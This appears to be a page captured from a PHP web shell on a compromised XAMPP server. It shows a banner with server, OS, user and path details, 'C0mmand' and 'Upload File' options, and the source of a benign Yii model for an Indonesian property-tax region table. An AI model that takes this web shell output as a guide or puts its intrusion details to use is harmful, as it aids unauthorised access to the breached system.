|
Server IP : 127.0.0.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586 User : GerbangSIPAD ( 0) PHP Version : 5.6.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/xampp5/htdocs/bhumie/upload/../protected/models/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* This is the model class for table "pbb.ref_kelurahan".
*
* The followings are the available columns in table 'pbb.ref_kelurahan':
* @property string $kd_propinsi
* @property string $kd_dati2
* @property string $kd_kecamatan
* @property string $kd_kelurahan
* @property string $kd_sektor
* @property string $nm_kelurahan
* @property integer $no_kelurahan
* @property string $kd_pos_kelurahan
*/
class RefKelurahan extends CBhumieRecord
{
/**
* Returns the static model of the specified AR class.
* @param string $className active record class name.
* @return RefKelurahan the static model class
*/
public static function model($className=__CLASS__)
{
return parent::model($className);
}
/**
* @return string the associated database table name
*/
public function tableName()
{
return 'pbb.ref_kelurahan';
}
/**
* @return array validation rules for model attributes.
*/
public function rules()
{
// NOTE: you should only define rules for those attributes that
// will receive user inputs.
return array(
array('kd_propinsi, kd_dati2, kd_kecamatan, kd_kelurahan, nm_kelurahan', 'required'),
array('no_kelurahan', 'numerical', 'integerOnly'=>true),
array('kd_propinsi, kd_dati2, kd_sektor', 'length', 'max'=>2),
array('kd_kecamatan, kd_kelurahan', 'length', 'max'=>3),
array('nm_kelurahan', 'length', 'max'=>30),
array('kd_pos_kelurahan', 'length', 'max'=>5),
// The following rule is used by search().
// Please remove those attributes that should not be searched.
array('kd_propinsi, kd_dati2, kd_kecamatan, kd_kelurahan, kd_sektor, nm_kelurahan, no_kelurahan, kd_pos_kelurahan', 'safe', 'on'=>'search'),
);
}
/**
* @return array relational rules.
*/
public function relations()
{
// NOTE: you may need to adjust the relation name and the related
// class name for the relations automatically generated below.
return array(
);
}
/**
* @return array customized attribute labels (name=>label)
*/
public function attributeLabels()
{
return array(
'kd_propinsi' => 'Kode Propinsi',
'kd_dati2' => 'Kode Dati2',
'kd_kecamatan' => 'Kode Kecamatan',
'kd_kelurahan' => 'Kode Kelurahan',
'kd_sektor' => 'Kode Sektor',
'nm_kelurahan' => 'Nama Kelurahan',
'no_kelurahan' => 'No Kelurahan',
'kd_pos_kelurahan' => 'Kode Pos Kelurahan',
);
}
/**
* Retrieves a list of models based on the current search/filter conditions.
* @return CActiveDataProvider the data provider that can return the models based on the search/filter conditions.
*/
public function search()
{
// Warning: Please modify the following code to remove attributes that
// should not be searched.
$criteria=new CDbCriteria;
$criteria->order = 'kd_propinsi, kd_dati2, kd_kecamatan, kd_kelurahan, kd_sektor, nm_kelurahan, no_kelurahan, kd_pos_kelurahan';
$criteria->compare('kd_propinsi',$this->kd_propinsi,true);
$criteria->compare('kd_dati2',$this->kd_dati2,true);
$criteria->compare('kd_kecamatan',$this->kd_kecamatan,true);
$criteria->compare('kd_kelurahan',$this->kd_kelurahan,true);
$criteria->compare('kd_sektor',$this->kd_sektor,true);
$criteria->compare('nm_kelurahan',$this->nm_kelurahan,true);
$criteria->compare('no_kelurahan',$this->no_kelurahan);
$criteria->compare('kd_pos_kelurahan',$this->kd_pos_kelurahan,true);
return new CActiveDataProvider($this, array(
'criteria'=>$criteria,
));
}
public function dataKelurahan($plc_kd_propinsi, $plc_kd_dati2, $plc_kd_kecamatan, $plc_kd_kelurahan)
{
$qryKelurahan = 'select a.kd_propinsi,a.nm_propinsi,b.kd_dati2,b.nm_dati2,c.kd_kecamatan,c.nm_kecamatan,d.kd_kelurahan,d.nm_kelurahan
from pbb.ref_propinsi a,
pbb.ref_dati2 b,
pbb.ref_kecamatan c,
pbb.ref_kelurahan d
where a.kd_propinsi like :plc_kd_propinsi
and b.kd_propinsi = a.kd_propinsi
and b.kd_dati2 like :plc_kd_dati2
and c.kd_propinsi = b.kd_propinsi
and c.kd_dati2 = b.kd_dati2
and c.kd_kecamatan like :plc_kd_kecamatan
and d.kd_propinsi = c.kd_propinsi
and d.kd_dati2 = c.kd_dati2
and d.kd_kecamatan = c.kd_kecamatan
and d.kd_kelurahan like :plc_kd_kelurahan
order by a.kd_propinsi,b.kd_dati2,c.kd_kecamatan, d.kd_kelurahan';
$command = Yii::app()->db->createCommand($qryKelurahan);
$command->bindParam(":plc_kd_propinsi",$plc_kd_propinsi,PDO::PARAM_STR);
$command->bindParam(":plc_kd_dati2",$plc_kd_dati2,PDO::PARAM_STR);
$command->bindParam(":plc_kd_kecamatan",$plc_kd_kecamatan,PDO::PARAM_STR);
$command->bindParam(":plc_kd_kelurahan",$plc_kd_kelurahan,PDO::PARAM_STR);
$datakelurahan = $command->queryAll();
return $datakelurahan;
//$arrayProvider = new CArrayDataProvider($datakelurahan);
//return $arrayProvider;
}
}